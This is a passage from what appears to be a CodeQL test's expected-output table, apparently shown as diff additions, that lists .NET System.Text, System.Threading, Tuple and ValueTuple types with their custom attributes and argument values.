[NullableAttribute(...)] | 0 | 0 | +| System.Text.EncoderFallbackException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Text.EncoderFallbackException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Text.EncoderReplacementFallback | [NullableAttribute(...)] | 0 | 0 | +| System.Text.EncoderReplacementFallback | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.Encoding | [NullableAttribute(...)] | 0 | 0 | +| System.Text.Encoding | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.EncodingInfo | [NullableAttribute(...)] | 0 | 0 | +| System.Text.EncodingInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.EncodingProvider | [NullableAttribute(...)] | 0 | 0 | +| System.Text.EncodingProvider | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.Rune | [DebuggerDisplayAttribute(...)] | 0 | {DebuggerDisplay,nq} | +| System.Text.SpanRuneEnumerator | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Text.SpanRuneEnumerator | [ObsoleteAttribute(...)] | 1 | True | +| System.Text.StringBuilder | [DefaultMemberAttribute(...)] | 0 | Chars | +| System.Text.StringBuilder | [NullableAttribute(...)] | 0 | 0 | +| System.Text.StringBuilder | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.StringBuilder | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Text.StringBuilder.ChunkEnumerator | [NullableContextAttribute(...)] | 0 | 0 | +| System.Text.UTF7Encoding | [NullableAttribute(...)] | 0 | 0 | +| System.Text.UTF7Encoding | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.UTF32Encoding | [NullableAttribute(...)] | 0 | 0 | +| System.Text.UTF32Encoding | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.UnicodeEncoding | [NullableAttribute(...)] | 0 | 0 | +| System.Text.UnicodeEncoding | [NullableContextAttribute(...)] | 0 | 1 | +| System.Text.ValueStringBuilder | [DefaultMemberAttribute(...)] | 0 | Item | +| System.Text.ValueStringBuilder | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.Text.ValueStringBuilder | [ObsoleteAttribute(...)] | 1 | True | +| System.Threading.AbandonedMutexException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.AbandonedMutexException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.AbandonedMutexException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.ApartmentState System.Threading.Thread.ApartmentState | [ObsoleteAttribute(...)] | 0 | The ApartmentState property has been deprecated. Use GetApartmentState, SetApartmentState or TrySetApartmentState instead. | +| System.Threading.ApartmentState System.Threading.Thread.ApartmentState | [ObsoleteAttribute(...)] | 1 | False | +| System.Threading.AsyncLocalValueChangedArgs`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.AsyncLocalValueChangedArgs`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.AsyncLocal`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.AsyncLocal`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.CancellationToken | [DebuggerDisplayAttribute(...)] | 0 | IsCancellationRequested = {IsCancellationRequested} | +| System.Threading.CancellationToken | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.CancellationToken | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.CancellationTokenSource | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.CancellationTokenSource | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.CompressedStack | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.CompressedStack | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.EventWaitHandle | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.EventWaitHandle | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.ExecutionContext System.Threading.Tasks.Task.CapturedContext | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.ExecutionContext System.Threading.Thread.ExecutionContext | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.IOCompletionCallback | [CLSCompliantAttribute(...)] | 0 | False | +| System.Threading.Interlocked | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Interlocked | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.LazyInitializer | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.LazyInitializer | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.LockRecursionException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.LockRecursionException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.LockRecursionException | [TypeForwardedFromAttribute(...)] | 0 | System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.ManualResetEventSlim | [DebuggerDisplayAttribute(...)] | 0 | Set = {IsSet} | +| System.Threading.Monitor | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Monitor | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Mutex | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Mutex | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Overlapped | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Overlapped | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.Semaphore | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Semaphore | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.SemaphoreFullException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.SemaphoreFullException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.SemaphoreFullException | [TypeForwardedFromAttribute(...)] | 0 | System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.SemaphoreSlim | [DebuggerDisplayAttribute(...)] | 0 | Current Count = {m_currentCount} | +| System.Threading.SemaphoreSlim | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.SemaphoreSlim | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.SpinLock | [DebuggerDisplayAttribute(...)] | 0 | IsHeld = {IsHeld} | +| System.Threading.SpinWait | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.SpinWait | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.SynchronizationContext | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.SynchronizationContext | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.SynchronizationContext System.Threading.SynchronizationContext.Current | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.SynchronizationContext.<>c.<>9__8_0 | [TupleElementNamesAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.SynchronizationLockException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.SynchronizationLockException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.SynchronizationLockException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [DebuggerDisplayAttribute(...)] | 0 | Concurrent={ConcurrentTaskCountForDebugger}, Exclusive={ExclusiveTaskCountForDebugger}, Mode={ModeForDebugger} | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ConcurrentExclusiveTaskScheduler | [DebuggerDisplayAttribute(...)] | 0 | Count={CountForDebugger}, MaxConcurrencyLevel={m_maxConcurrencyLevel}, Id={Id} | +| System.Threading.Tasks.MultiProducerMultiConsumerQueue`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Threading.Tasks.SingleProducerSingleConsumerQueue`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Threading.Tasks.Sources.IValueTaskSource | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.Sources.IValueTaskSource`1 | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.Task | [DebuggerDisplayAttribute(...)] | 0 | Id = {Id}, Status = {Status}, Method = {DebuggerDisplayMethodDescription} | +| System.Threading.Tasks.Task | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.Task | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.Task System.Threading.Tasks.Task.InternalCurrent | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.Task System.Threading.Tasks.Task.ParentForDebugger | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.TaskAsyncEnumerableExtensions | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskAsyncEnumerableExtensions | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.TaskCanceledException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskCanceledException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.TaskCanceledException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.Tasks.TaskCompletionSource`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskCompletionSource`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.TaskExtensions | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskExtensions | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.TaskFactory | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskFactory | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.TaskFactory`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskFactory`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.TaskScheduler | [DebuggerDisplayAttribute(...)] | 0 | Id={Id} | +| System.Threading.Tasks.TaskScheduler | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskScheduler | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.TaskScheduler System.Threading.Tasks.Task.ExecutingTaskScheduler | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.TaskScheduler System.Threading.Tasks.TaskFactory.Scheduler | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.TaskScheduler System.Threading.Tasks.TaskFactory`1.Scheduler | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.TaskScheduler System.Threading.Tasks.TaskScheduler.InternalCurrent | [NullableAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.TaskScheduler.UnobservedTaskException | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.Tasks.TaskSchedulerException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.TaskSchedulerException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.TaskSchedulerException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.Tasks.Task`1 | [DebuggerDisplayAttribute(...)] | 0 | Id = {Id}, Status = {Status}, Method = {DebuggerDisplayMethodDescription}, Result = {DebuggerDisplayResultDescription} | +| System.Threading.Tasks.Task`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.Task`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.UnobservedTaskExceptionEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.UnobservedTaskExceptionEventArgs | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.ValueTask | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.ValueTask | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Tasks.ValueTask<!0> System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1.Task | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.Tasks.ValueTask`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Tasks.ValueTask`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Thread | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Thread | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.ThreadAbortException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.ThreadAbortException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.ThreadAbortException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.ThreadInterruptedException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.ThreadInterruptedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.ThreadInterruptedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.ThreadLocal<System.Object> System.LocalDataStoreSlot.Data | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.Threading.ThreadLocal`1 | [DebuggerDisplayAttribute(...)] | 0 | IsValueCreated={IsValueCreated}, Value={ValueForDebugDisplay}, Count={ValuesCountForDebugDisplay} | +| System.Threading.ThreadLocal`1 | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.ThreadLocal`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.ThreadPool | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.ThreadPool | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.ThreadStartException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.ThreadStateException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.ThreadStateException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.ThreadStateException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.Timer | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Timer | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.Volatile | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.Volatile | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.WaitHandle | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.WaitHandle | [NullableContextAttribute(...)] | 0 | 1 | +| System.Threading.WaitHandle System.Threading.ManualResetEventSlim.WaitHandle | [NullableAttribute(...)] | 0 | 1 | +| System.Threading.WaitHandleCannotBeOpenedException | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.WaitHandleCannotBeOpenedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.WaitHandleCannotBeOpenedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Threading.WaitHandleExtensions | [NullableAttribute(...)] | 0 | 0 | +| System.Threading.WaitHandleExtensions | [NullableContextAttribute(...)] | 0 | 1 | +| System.TimeZone | [NullableAttribute(...)] | 0 | 0 | +| System.TimeZone | [NullableContextAttribute(...)] | 0 | 1 | +| System.TimeZone | [ObsoleteAttribute(...)] | 0 | System.TimeZone has been deprecated. Please investigate the use of System.TimeZoneInfo instead. | +| System.TimeZoneInfo | [NullableAttribute(...)] | 0 | 0 | +| System.TimeZoneInfo | [NullableContextAttribute(...)] | 0 | 1 | +| System.TimeZoneInfo | [TypeForwardedFromAttribute(...)] | 0 | System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.TimeZoneInfo.AdjustmentRule | [NullableContextAttribute(...)] | 0 | 0 | +| System.TimeZoneInfo.TransitionTime | [NullableContextAttribute(...)] | 0 | 0 | +| System.TimeZoneNotFoundException | [NullableAttribute(...)] | 0 | 0 | +| System.TimeZoneNotFoundException | [NullableContextAttribute(...)] | 0 | 2 | +| System.TimeZoneNotFoundException | [TypeForwardedFromAttribute(...)] | 0 | System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.TimeoutException | [NullableAttribute(...)] | 0 | 0 | +| System.TimeoutException | [NullableContextAttribute(...)] | 0 | 2 | +| System.TimeoutException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple | [NullableAttribute(...)] | 0 | 0 | +| System.Tuple | [NullableContextAttribute(...)] | 0 | 1 | +| System.TupleExtensions | [NullableAttribute(...)] | 0 | 0 | +| System.TupleExtensions | [NullableContextAttribute(...)] | 0 | 2 | +| System.Tuple`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple`2 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple`3 | [NullableAttribute(...)] | 0 | 0 | +| System.Tuple`3 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Tuple`3 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple`4 | [NullableAttribute(...)] | 0 | 0 | +| System.Tuple`4 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Tuple`4 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple`5 | [NullableAttribute(...)] | 0 | 0 | +| System.Tuple`5 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Tuple`5 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple`6 | [NullableAttribute(...)] | 0 | 0 | +| System.Tuple`6 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Tuple`6 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple`7 | [NullableAttribute(...)] | 0 | 0 | +| System.Tuple`7 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Tuple`7 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Tuple`8 | [NullableAttribute(...)] | 0 | 0 | +| System.Tuple`8 | [NullableContextAttribute(...)] | 0 | 1 | +| System.Tuple`8 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Type | [NullableAttribute(...)] | 0 | 0 | +| System.Type | [NullableContextAttribute(...)] | 0 | 1 | +| System.Type System.Reflection.Emit.ConstructorBuilder.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.ConstructorBuilder.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.DynamicMethod.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.DynamicMethod.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.EnumBuilder.BaseType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.EnumBuilder.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.EnumBuilder.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.FieldBuilder.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.FieldBuilder.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.GenericTypeParameterBuilder.BaseType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.GenericTypeParameterBuilder.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.GenericTypeParameterBuilder.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.MethodBuilder.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.MethodBuilder.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.PropertyBuilder.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.PropertyBuilder.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.TypeBuilder.BaseType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.TypeBuilder.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.Emit.TypeBuilder.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.FieldInfo.FieldType | [NullableAttribute(...)] | 0 | 1 | +| System.Type System.Reflection.MemberInfo.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.MemberInfo.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Reflection.PropertyInfo.PropertyType | [NullableAttribute(...)] | 0 | 1 | +| System.Type System.Reflection.TypeDelegator.BaseType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Type.BaseType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Type.DeclaringType | [NullableAttribute(...)] | 0 | 2 | +| System.Type System.Type.ReflectedType | [NullableAttribute(...)] | 0 | 2 | +| System.TypeAccessException | [NullableAttribute(...)] | 0 | 0 | +| System.TypeAccessException | [NullableContextAttribute(...)] | 0 | 2 | +| System.TypeAccessException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.TypeInitializationException | [NullableAttribute(...)] | 0 | 0 | +| System.TypeInitializationException | [NullableContextAttribute(...)] | 0 | 1 | +| System.TypeInitializationException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.TypeLoadException | [NullableAttribute(...)] | 0 | 0 | +| System.TypeLoadException | [NullableContextAttribute(...)] | 0 | 1 | +| System.TypeLoadException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.TypeUnloadedException | [NullableAttribute(...)] | 0 | 0 | +| System.TypeUnloadedException | [NullableContextAttribute(...)] | 0 | 2 | +| System.TypeUnloadedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Type[] System.Reflection.ReflectionTypeLoadException.Types | [NullableAttribute(...)] | 0 | System.Collections.Immutable.ImmutableArray`1[System.Reflection.Metadata.CustomAttributeTypedArgument`1[Semmle.Extraction.CIL.Entities.Type]] | +| System.TypedReference | [CLSCompliantAttribute(...)] | 0 | False | +| System.TypedReference | [NullableAttribute(...)] | 0 | 0 | +| System.TypedReference | [NullableContextAttribute(...)] | 0 | 1 | +| System.UIntPtr | [CLSCompliantAttribute(...)] | 0 | False | +| System.UIntPtr | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.UnauthorizedAccessException | [NullableAttribute(...)] | 0 | 0 | +| System.UnauthorizedAccessException | [NullableContextAttribute(...)] | 0 | 2 | +| System.UnauthorizedAccessException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.UnhandledExceptionEventArgs | [NullableAttribute(...)] | 0 | 0 | +| System.UnhandledExceptionEventArgs | [NullableContextAttribute(...)] | 0 | 1 | +| System.ValueTuple | [NullableAttribute(...)] | 0 | 0 | +| System.ValueTuple | [NullableContextAttribute(...)] | 0 | 1 | +| System.ValueTuple | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`1.Item1 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`2 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`2.Item1 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`2.Item2 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`3 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`3.Item1 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`3.Item2 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`3.Item3 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`4 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`4.Item1 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`4.Item2 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`4.Item3 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`4.Item4 | [NullableAttribute(...)] | 0 | 1 | +| System.ValueTuple`5 | [NullableAttribute(...)] | 0 | 0 | +| System.ValueTuple`5 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ValueTuple`5 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`6 | [NullableAttribute(...)] | 0 | 0 | +| System.ValueTuple`6 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ValueTuple`6 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`7 | [NullableAttribute(...)] | 0 | 0 | +| System.ValueTuple`7 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ValueTuple`7 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`8 | [NullableAttribute(...)] | 0 | 0 | +| System.ValueTuple`8 | [NullableContextAttribute(...)] | 0 | 1 | +| System.ValueTuple`8 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.ValueTuple`8.Rest | [NullableAttribute(...)] | 0 | 0 | +| System.ValueType | [NullableAttribute(...)] | 0 | 0 | +| System.ValueType | [NullableContextAttribute(...)] | 0 | 2 | +| System.ValueType | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.Version | [NullableAttribute(...)] | 0 | 0 | +| System.Version | [NullableContextAttribute(...)] | 0 | 2 | +| System.Version | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.WeakReference | [NullableAttribute(...)] | 0 | 0 | +| System.WeakReference | [NullableContextAttribute(...)] | 0 | 2 | +| System.WeakReference | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.WeakReference`1 | [NullableAttribute(...)] | 0 | 0 | +| System.WeakReference`1 | [NullableContextAttribute(...)] | 0 | 1 | +| System.WeakReference`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.__Canon | [ComVisibleAttribute(...)] | 0 | True | +| System.__DTString | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | +| System.__DTString | [ObsoleteAttribute(...)] | 1 | True | +| bool | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| bool.FalseString | [NullableAttribute(...)] | 0 | 1 | +| bool.TrueString | [NullableAttribute(...)] | 0 | 1 | +| byte | [TypeForwardedFromAttribute(...)] | 0 | 